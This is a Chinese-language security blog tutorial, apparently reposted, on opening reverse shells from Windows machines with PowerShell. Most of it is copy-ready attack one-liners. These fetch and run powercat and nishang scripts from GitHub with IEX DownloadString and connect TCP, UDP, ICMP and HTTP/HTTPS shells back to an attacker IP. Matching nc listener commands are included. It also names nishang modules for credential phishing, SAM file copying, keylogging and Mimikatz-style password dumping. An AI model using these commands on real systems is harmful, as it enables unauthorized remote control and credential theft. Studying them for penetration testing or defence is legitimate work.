zoukankan      html  css  js  c++  java
  • jQuery火箭图标返回顶部代码

    原作者:Cream
    文章出处: 贝塔安全实验室

    0x01 Powershell反弹shell

    Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能。它引入了许多非常有用的新概念,从而进一步扩展了您在 Windows 命令提示符和 Windows Script Host 环境中获得的知识和创建的脚本。

    一旦攻击者可以在一台计算机上运行代码,他们便可以下载powershell脚本文件(.ps1)到磁盘执行,脚本可以在内存中运行(无文件化)。我们可以将powershell看做是命令提示符cmd.exe的扩展。

    各个系统中Powershell的版本如下:

    可以在输入Get-Host或者$PSVersionTable.PSVERSION来查看版本信息,如下所示:

    2.1 powercat反弹shell

    powercathttps://github.com/besimorhino/powercat为Powershell版的Netcat,实际上是一个powershell的函数,使用方法类似Netcat。

    攻击者监听:

    nc –lvnp 9999 
    

    目标机反弹CMD:

    powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.1.4 -p 9999 -e cmd
    

    攻击机收到目标机的回弹:

    若攻击机没有nc的话,可以先下载一个powercat,之后再进行监听:

    powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -l -p 9999
    

    攻击机收到目标机的回弹:

    2.2 nishang反弹shell

    Nishanghttps://github.com/samratashok/nishang是一个基于PowerShell的攻击框架,集合了一些PowerShell攻击脚本和有效载荷,可反弹TCP/ UDP/ HTTP/HTTPS/ ICMP等类型shell。

    Nishang要在PowerShell3.0以上的环境下才可以正常使用,在window 7或者server2008上可能会出现一些异常。

    导入Nishang模块
    Import-Module .
    ishang.psm1
    导入成功后,产看Nishang中模块
    Get-Command –Module nishang
    

    Nishang攻击模块有(只介绍部分):

    Check-VM:检测目标机器是否为虚拟机
    
    Invoke-CredentialsPhish:欺骗目标主机用户,用作钓鱼
    
    Copy-VSS:利用Volume Shaodow Copy复制sam文件
    
    FireBuster FireLiStener:用作内网环境扫描
    
    Keylogger:用作键盘记录
    
    Invoke-Mimikatz:类似Mimikatz,直接获取系统账号明文密码
    
    Get-PassHashes:获取系统密码hash值
    
    2.2.1 基于TCP的Powershell交互式shell

    在目标机上执行如下的代码:

    powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.1.4 -port 9999
    
    其中,Invoke-PowerShellTcp是基于TCP协议的Powershell正向连接或者反向连接shell,其参数如下:
    - IPAddress 反向连接时设置的IP
    - Port 正向连接时设置的端口,前面要写上-Bind参数
    - Reverse  反向连接
    - Bind 正向连接
    

    反向连接:Invoke-PowerShellTcp -Reverse -IPAddress 192.168.1.4 -port 9999

    2.2.2 基于UDP的Powershell交互式shell
    powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellUdp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress 192.168.1.4 -port 5399
    

    在攻击者的电脑上执行如下的命令:

    nc -lup 6005 
    

    上述测试是反向连接,那么正向连接的时候,在攻击者的电脑上运行的命令为:

    nc -nvu 192.168.1.24 4555
    

    2.2.3 基于ICMP的Poershell交互式Shell

    需要借助于icmpsh_m.py文件,其用法如下:

    ./icmpsh-m.py <source IP address> <destination IP address>
    

    在被攻击的机器上执行:

    Invoke-PowerShellIcmp -IPAddress <source IP address>
    
    2.2.4 基于HTTP/HTTPS的Poershell交互式Shell
    HTTP: Invoke-PoshRatHttp –IPAddess 192.168.1.4 –Port 4444
    HTTPS: Invoke-PoshRatHttps  –IPAddess 192.168.1.4 –Port 4444
    然后会生成一个powershell如下的命令····IEX  ((New-Object Net.WebClient).DownloadString(‘http://192.168.1.4:4444/connect’))
    然后复制该命令在被攻击机器上执行即可,便可看到反弹的shell
    

    0x02 参考链接

    反弹shell的学习总结

  • 相关阅读:
    【poj3294】 Life Forms
    【poj3415】 Common Substrings
    【poj3693】 Maximum repetition substring
    【bzoj2034】 2009国家集训队—最大收益
    【bzoj4198】 Noi2015—荷马史诗
    【poj2406】 Power Strings
    【ural1297】 Palindrome
    【spoj SUBST1】 New Distinct Substrings
    【poj1743】 Musical Theme
    django rest framework serializers小结
  • 原文地址:https://www.cnblogs.com/-mo-/p/11487997.html
Copyright © 2011-2022 走看看